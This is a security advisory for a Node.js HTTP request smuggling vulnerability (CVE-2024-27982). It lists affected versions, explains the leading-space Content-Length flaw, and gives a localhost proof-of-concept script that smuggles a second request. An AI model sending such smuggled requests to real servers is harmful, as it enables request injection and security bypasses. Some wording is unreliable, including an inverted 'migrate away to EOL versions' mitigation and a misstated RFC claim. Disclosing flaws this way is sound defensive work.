CVE-2024-27982

Overview

Node.js, a widely used JavaScript runtime built on Chrome's V8 engine, is affected by a medium vulnerability in its HTTP server. The issue arises due to improper handling of malformed HTTP headers, specifically when a space precedes the Content-Length header. This misinterpretation allows attackers to exploit HTTP request smuggling, a technique where a single HTTP request is manipulated to be processed as multiple requests by different components of a server or proxy chain.

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An attacker can craft a request with a leading space before Content-Length, causing Node.js to process it incorrectly, potentially enabling unauthorized request injection, cache poisoning, or security bypasses.

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Details

Module Info

• Product: Node.js
• Affected versions: <21.7.2, <20.12.1, <v18.20.1, <= 16.20.2, <=v14.21.3, <= v12.22.12
• GitHub repository: https://github.com/nodejs/node
• Fixed in: Node.js NES v12, v14, v16, v18

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Vulnerability Info

The vulnerability exists because Node.js does not correctly handle HTTP headers that contain a leading space before the Content-Length field. The HTTP/1.1 specification (RFC 7230) states that header fields should be case-insensitive and that leading spaces should not affect parsing. However, in this case, the extra space prevents the server from properly recognizing Content-Length, leading to inconsistent interpretation of the request body.

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An attacker can craft a request with a space-prefixed Content-Length header and include a second, smuggled request in the request body. Since the Node.js HTTP server does not correctly validate the malformed header, it processes the second request separately, bypassing normal security checks.

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This vulnerability is particularly dangerous when Node.js is deployed behind a proxy or load balancer that normalizes headers differently. If the proxy sees Content-Length as invalid but Node.js accepts it, an attacker can use this discrepancy to inject and execute unauthorized requests.

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Proof Of Concept

A full reproduction:

const http = require('http');
const net = require('net');
const PORT = 8080;

const server = http.createServer((req, res) => {
    if (req.url === '/hello') {
        res.end('Hello, World!\n');
    } else if (req.url === '/hacked') {
        res.end(`You have been ${req.headers['random']}!\n`);
    }
});

server.listen(PORT, () => {
    const client = new net.Socket();
    client.connect(PORT, '127.0.0.1', () => {
        client.write('POST /hello HTTP/1.1\r\n' +
            'Host: localhost:8080\r\n' +
            ' Content-length: 0\r\n' +
            '\r\n' +
            'GET /hacked HTTP/1.1\r\n' +
            'random: hacked\r\n' +
            '\r\n');
    });

    client.on('data', (data) => {
        console.log(data.toString());
        client.end();
        server.close();
    });

    client.on('close', () => {
        server.close();
    });
});

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Mitigation

The v16, v14, v12 lines of the Node.js projects are End Of Life and will not receive any updates to address this issue.

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Users of the affected components should apply one of the following mitigations:

• Migrate affected applications away to EOL versions.
• Leverage a commercial support partner like HeroDevs for post-EOL security support.

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Credits

• bpingel (finder)